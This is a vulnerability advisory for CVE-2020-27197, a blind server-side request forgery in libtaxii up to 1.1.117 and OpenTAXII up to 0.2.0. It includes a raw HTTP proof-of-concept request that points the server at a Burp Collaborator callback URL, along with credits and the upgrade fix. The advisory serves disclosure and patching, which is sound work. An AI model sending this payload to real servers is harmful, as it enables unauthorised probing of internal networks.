Libtaxii version <= 1.1.117 & OpenTaxi <=0.2.0 Blind SSRF


Details
========================================================================================
Product: 
Security-Risk: High
Remote-Exploit: yes
Vendor-URL: https://github.com/eclecticiq/OpenTAXII , https://github.com/TAXIIProject/libtaxii
CVE-ID: CVE-2020-27197


Credits
========================================================================================
Discovered by: Owais Mehtab & Vijay Kota
Kudos: Sergey Polzunov for finding the root cause and pointing out that the issue with Libtaxii <= 1.1.117

Affected Products:
========================================================================================
Libtaxii version <= 1.1.117
OpenTaxi <=0.2.0


Description
========================================================================================
While testing opentaxii platform a blind SSRF issue was identified

https://github.com/TAXIIProject/libtaxii/issues/246
https://github.com/eclecticiq/OpenTAXII/issues/176

Proof of Concept
========================================================================================
POST /services/discovery HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Accept-Encoding: gzip, deflate
Accept: application/xml
User-Agent: Cabby 0.1.20
X-TAXII-Accept: urn:taxii.mitre.org:message:xml:1.1
X-TAXII-Services: urn:taxii.mitre.org:services:1.1
X-TAXII-Content-Type: urn:taxii.mitre.org:message:xml:1.1
X-TAXII-Protocol: urn:taxii.mitre.org:protocol:https:1.0
Content-Type: application/xml
Content-Length: XXX

https://burp_collaborator_url?<taxii_11:Discovery_Request xmlns:taxii="https://taxii.mitre.org/messages/taxii_xml_binding-1" xmlns:taxii_11="https://taxii.mitre.org/messages/taxii_xml_binding-1.1" xmlns:tdq="https://taxii.mitre.org/query/taxii_default_query-1" message_id="877a5f67-6616-4040-bbc1-5f36efd5a349"/>
 


Solution
========================================================================================
Update libtaxii version to 1.1.118